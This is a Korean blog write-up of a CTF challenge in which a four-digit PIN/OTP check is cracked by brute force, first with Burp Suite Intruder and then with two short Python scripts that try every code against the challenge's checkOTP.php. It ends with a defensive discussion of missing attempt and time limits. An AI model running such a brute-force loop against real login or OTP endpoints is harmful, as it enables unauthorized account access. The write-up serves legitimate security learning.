Archive for Dev. (junyup2)

์ง€์‹์„ ์ฑ„์›Œ๊ฐ€๋Š” ใ€Ž๊ฐœ๋ฐœ์ž/ํ™”์ดํŠธํ•ด์ปคใ€๋ฅผ ๋ชฉํ‘œ๋กœ ์ •๋ฆฌํ•˜๋Š” ๋ธ”๋กœ๊ทธ

Wargame & CTF/SegFault

[SegFault] (Authentication Bypass) - Pin Code Crack

Gearvirus(junyup2) 2023. 12. 6. 04:01

[SegFault] Authentication Bypass (Code)

Pin Code Crack.

์•„๋ž˜ ์‚ฌ์ดํŠธ์˜ PIN ๋ฒˆํ˜ธ๋ฅผ ํฌ๋ž™ํ•ด๋ณด์ž!

๋ฌธ์ œ ํŒŒ์•…

  • ์œ„์˜ ํŽ˜์ด์ง€์— ์ ‘์†ํ•˜๋ฉด ์•„๋ž˜์™€ ๊ฐ™์€ ํ™”๋ฉด์ด ๋‚˜์˜จ๋‹ค.
  • LOGIN ๋ฒ„ํŠผ์„ ๋ˆ„๋ฅด๋ฉด ํŒ์—… ์ฐฝ์ด ์—ด๋ฆฐ๋‹ค.

  • Burp Suite์„ ์ด์šฉํ•˜์—ฌ ์ ‘์† ๊ณผ์ • ์ƒํƒœ์ฝ”๋“œ(Status code) ํ™•์ธํ•œ๋‹ค.
    • 302 Found
    • 200 OK
  • ๋ฒ„ํŠผ ๋ˆŒ๋ €์„ ๋•Œ ์ƒํƒœ์ฝ”๋“œ(Status code) ํ™•์ธํ•œ๋‹ค.
    • (LOGIN) ๊ฐ™์€ ์ฐฝ์˜ ํŒ์—… ์ฐฝ์ด๋ฏ€๋กœ ์•„๋ฌด๋Ÿฐ ๋ณ€ํ™” ์—†์Œ
    • 200 OK (Enter)
  • PIN Code๋ฅผ ๋„ฃ์–ด์ค˜์•ผ ํ•œ๋‹ค.
    • ๋‚ด๋ถ€๋ฅผ ์‚ดํŽด๋ณด๋ฉด checkOTP.js๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.


์ƒ๊ฐ ๊ณผ์ •

์ƒ๊ฐ ๊ณผ์ •
1. Enter ๋ฒ„ํŠผ์„ ๋ˆ„๋ฅด๋ฉด SendOTP๋ฅผ ํ•˜๊ณ , checkOTP.php์—์„œ ํ™•์ธํ•˜๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.
2. ๊ฐœ๋ฐœ์ž ๋ชจ๋“œ(DevTools)์—์„œ checkOTP.js๋ฅผ ํ™•์ธํ•ด๋ณธ๋‹ค.
3. ๋‚ด๋ถ€์˜ sendOTP๋ฅผ ๋ณด๋ฉด, ์ผ์ •ํ•œ ๊ฐ’์œผ๋กœ ๋ณด์ธ๋‹ค.
 (-> ํ•˜์ง€๋งŒ ์ฐพ์„ ๋ฐฉ๋ฒ•์„ ๋ชจ๋ฅด๊ฒ ์Œ)
4. OTP์˜ ์‹œ๊ฐ„ ์ œํ•œ์ด ์—†๊ธฐ ๋•Œ๋ฌธ์—!!
5. ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž…์„ ํ•ด์•ผ๊ฒ ๊ตฌ๋‚˜! ๋ผ๋Š” ์ƒ๊ฐ์„ ํ•  ์ˆ˜ ์žˆ๋‹ค.
6. Brute Force๋ฅผ ์œ„ํ•ด ์ธํŠธ๋ฃจ๋”(Intruder)๋ฅผ ์จ์•ผ ๊ฒ ๊ตฌ๋‚˜!

ํ’€์ด ๊ณผ์ • (ํ•ด๊ฒฐ ๋ฐฉ์•ˆ)

1. Intercept On ์œผ๋กœ ๋ฐ”๊ฟ”์ค€๋‹ค.

2. ์•„๋ฌด PIN Code๋‚˜ ๋Œ€์ž…ํ•˜์—ฌ ์š”์ฒญํ•œ๋‹ค.

3. ๋ธŒ๋ผ์šฐ์ € ์ฐฝ ๋ฐ ํžˆ์Šคํ† ๋ฆฌ(HTTP history)๋ฅผ ํ™•์ธํ•œ๋‹ค.

  • Intercept ์—์„œ GET /6/checkOTP.php?otpNum=0000 ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

4. ํ•ด๋‹น ๋ถ€๋ถ„์„ ์ธํŠธ๋ฃจ๋”(Intruder)๋กœ ๋„˜๊ฒจ์ค€๋‹ค.

  • ์ธํŠธ๋ฃจ๋”์—์„œ ํฌ์ง€์…˜(Positions) ์„ค์ •ํ•ด์ค€๋‹ค.
  • $ADD๋ฅผ ์ด์šฉํ•˜์—ฌ ๋ฐ”๊ฟ”์„œ ๋Œ€์ž…ํ•  ๋ณ€์ˆ˜๋ฅผ ์ง€์ •ํ•œ๋‹ค.

5. ํŽ˜์ด๋กœ๋“œ๋ฅผ ์„ค์ •ํ•œ๋‹ค.

  • ์ˆซ์ž 0~9999๋ฅผ 4์ž๋ฆฌ์ˆ˜๋กœ ์ž๋ฆฟ์ˆ˜๋ฅผ ๋งž์ถฐ์ค˜์•ผํ•œ๋‹ค.

6. ๋Œ€์ž… ์‹œ์ž‘

  • 0000~9999์„ ์ˆœ์„œ๋Œ€๋กœ 1์”ฉ ์ฆ๊ฐ€ํ•˜์—ฌ ๋Œ€์ž…ํ•ด์ค€๋‹ค.

  • ๋ฏธ์นœ๋“ฏ์ด ๋„‹๋†“๊ณ  ์˜ค๋ž˜๋„๋ก ๊ธฐ๋‹ค๋ฆฌ๋ฉด ๊ธธ์ด(Length)๊ฐ€ ๋‹ค๋ฅธ ํ•˜๋‚˜๊ฐ€ ๋ณด์ธ๋‹ค.
  • ๋ฌด๋ฃŒ ๋ฒ„์ „ Burp Suite์ด๊ธฐ ๋•Œ๋ฌธ์— ๋„ˆ๋ฌด๋‚˜๋„ ๋Š๋ฆฌ๋‹ค๋Š” ๋ฌธ์ œ๊ฐ€ ์žˆ๋‹ค.
  • ์šฐ์„  ๊ฒฐ๊ณผ๋ฅผ ๋ณด๋ฉด

  • 1021(์˜ค๋ฅธ์ชฝ) ์—์„œ Login Fail์ด ์•„๋‹Œ index.php๋กœ ๋ฆฌ๋””๋ ‰์…˜ ๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

7. Intercept์—์„œ ํ•ด๋‹น 1021๊ฐ’์„ ๋Œ€์ž…ํ•˜๊ณ  Forward ํ•ด์ค€๋‹ค.

  • ์˜ฌ๋ฐ”๋ฅธ ํ•€์ฝ”๋“œ ์ž…๋ ฅ๊ฒฐ๊ณผ ๋ธŒ๋ผ์šฐ์ €์— Congrats!!! Flag๋ฅผ ํ™•์ธ ๊ฐ€๋Šฅํ•˜๋‹ค.

Python ํ™œ์šฉ ํ’€์ด

  • ๊ทธ๋ƒฅ ์ธํŠธ๋ฃจ๋”(Intruder)๋ฅผ ์ผœ๋†“๊ณ  ๋ฉ๋•Œ๋ ค๋„ ๋˜๊ฒ ์ง€๋งŒ, ๋„ˆ๋ฌด ์˜ค๋ž˜๊ฑธ๋ฆฌ๊ณ , ์ผ๋ฐ˜์ ์œผ๋กœ ํ•€์ฝ”๋“œ๋Š” ์ œํ•œ์‹œ๊ฐ„๋„ ์กด์žฌํ•œ๋‹ค.
  • ๋”ฐ๋ผ์„œ ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์„ ์ฐพ์•„๋ด์•ผ ํ•œ๋‹ค.
  • Python์„ ์ด์šฉํ•˜์—ฌ Brute Force๋ฅผ ๋Œ€์‹  ํ•ด์ค„ ์ฝ”๋“œ๋ฅผ ๊ตฌํ˜„ํ•ด ๋ณด์•˜๋‹ค.
import requests

def findOTP():
    url = "http://ctf.segfaulthub.com:1129/6/checkOTP.php"

    for otp_num in range(10000):
        otp_str = f"{otp_num:04d}"
        params = {"otpNum": otp_str}
        response = requests.get(url, params=params)

        # alert('Login Fail...');
        if "Fail" in response.text:
            print(otp_str, "Failed")
            continue
        else:
            print(otp_str, "Logged In")
            break
    print("OTPs:", otp_str)


if __name__ == '__main__':
    findOTP()

  • ๊ฐ€๋…์„ฑ์„ ๋†’์ธ ์ฝ”๋“œ ์ถ”๊ฐ€.
import requests

def findOTP():
    url = "http://ctf.segfaulthub.com:1129/6/checkOTP.php"
    print("[*] Password Crack Start...")
    
    for i in range(10000): #(0,9999)
        tryNum = str(i).zfill(4) #f"{otp_num:04d}"
        params = {"otpNum": tryNum}
        print("[>] Try : [" + tryNum + "]", end="\r")
        response = requests.get(url, params=params)

        # alert('Login Fail...');
        if 'Login Fail...' not in response.text:
            print("[+] Found Code : " + tryNum)
            break

if __name__ == '__main__':
    findOTP()


์ทจ์•ฝ์ ์— ๊ด€ํ•œ ๊ณ ์ฐฐ

์ธ์ฆ ํšŸ์ˆ˜ ์ œํ•œ X

๋ธŒ๋ฃจํŠธ ํฌ์Šค(Brute Force), ์ฆ‰ ๋ฌด์ž‘์œ„ ๋Œ€์ž… ๊ณต๊ฒฉ์€ ์‚ฌ์‹ค์ƒ ์‹œ๊ฐ„๊ณผ ์ž์›๋งŒ ์ถฉ๋ถ„ํ•˜๋‹ค๋ฉด ๋ฌด์ ์˜ ๊ณต๊ฒฉ ๋ฐฉ์‹์ผ ์ˆ˜ ์žˆ๋‹ค.
๋•Œ๋ฌธ์— ๋ณธ ๋ฌธ์ œ์˜ ์ทจ์•ฝ์ ์€ ์‚ฌ์‹ค์ƒ brute force๊ฐ€ ์•„๋‹ˆ๋‹ค. ์ด๊ฒŒ ์™œ?! ๊ฐ€๋Šฅํ–ˆ๋ƒ ํ•˜๋Š” ๊ฒƒ์ด๋‹ค.

๊ทธ๊ฒƒ์€ ๋ฐ”๋กœ '์ธ์ฆ ํšŸ์ˆ˜์˜ ์ œํ•œ ๋ฏธํก' ์ด๋ผ๋Š” ์ทจ์•ฝ์ ์ด๋‹ค.
๋กœ๊ทธ์ธ ํŽ˜์ด์ง€ ๋˜๋Š” ๋งˆ์ดํŽ˜์ง€์ด์™€ ๊ฐ™์ด ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์ž…๋ ฅํ•˜๊ฑฐ๋‚˜, ํ•ด๋‹น ๋ฌธ์ œ ์ฒ˜๋Ÿผ PIN CODE๋ฅผ ์ž…๋ ฅ๋ฐ›๋Š” ๊ฒฝ์šฐ์— ํšŸ์ˆ˜์˜ ์ œํ•œ๊ณผ, ์‹œ๊ฐ„์˜ ์ œํ•œ์„ ์ง€์ •ํ•  ํ•„์š”๊ฐ€ ์žˆ๋‹ค๋Š” ๊ฒƒ์ด๋‹ค.

ํŠนํžˆ๋‚˜ ๋น„๋ฐ€๋ฒˆํ˜ธ ๊ฐ™์€ ๊ฒฝ์šฐ ์‹œ๊ฐ„ ์ œํ•œ์„ ๋‘์ง€๋Š” ์•Š๊ณ  ํšŸ์ˆ˜ ์ œํ•œ์„ ๋‘๊ณ , ์ผ์ • ํšŸ์ˆ˜๋ฅผ ์ดˆ๊ณผํ•˜๋Š” ๊ฒฝ์šฐ, ์ผ์ • ์‹œ๊ฐ„ ๋กœ๊ทธ์ธ์ด ๋ถˆ๊ฐ€๋Šฅ ํ•˜๋„๋ก ํ•˜๊ฑฐ๋‚˜, ํ•ด๋‹น ์•„์ด๋””๋ฅผ ์ผ์‹œ์ ์œผ๋กœ ์ž ๊ทธ๊ณ , ์ถ”๊ฐ€์ ์ธ ์ธ์ฆ์„ ํ†ตํ•ด ํ’€๊ฒŒ ํ•˜๋Š” ๋“ฑ์˜ ์กฐ์น˜๋ฅผ ์ทจํ•˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ๋งŽ๋‹ค.

PIN CODE์™€ ๊ฐ™์€ ๊ฒฝ์šฐ์—๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ ํšŸ์ˆ˜ ์ œํ•œ์€ ๋ฌผ๋ก ์ด๊ณ , ๋ฌด์ž‘์œ„ ํ•€์ฝ”๋“œ๊ฐ€ ๋ฐœํ–‰๋œ ํ›„์— ์ž…๋ ฅ ์‹œ๊ฐ„๊นŒ์ง€์˜ ์ œํ•œ์„ ๋‘๋Š” ๊ฒฝ์šฐ๊ฐ€ ๋งŽ์€ ๊ฒƒ๋„ ์ด๋Ÿฌํ•œ ์ด์œ ์ด๋‹ค.

์œ„์™€ ๊ฐ™์ด ์ธ์ฆ ํšŸ์ˆ˜์— ๋Œ€ํ•œ ์ œํ•œ์ด ์—†๋Š” ๊ฒฝ์šฐ์—๋Š” ์‰ฝ๊ฒŒ ํƒˆ์ทจ๋  ๊ฐ€๋Šฅ์„ฑ์ด ์กด์žฌํ•˜๊ธฐ ๋•Œ๋ฌธ์— ์ธ์ฆ ์ทจ์•ฝ์ ์œผ๋กœ์„œ ์žก์„ ์ˆ˜ ์žˆ๋‹ค.

์งˆ๋ฌธ ํ™˜์˜, ์ˆ˜์ • ๋ฐ ๋ณด์™„์— ๋Œ€ํ•œ ์ง€์  ํ™˜์˜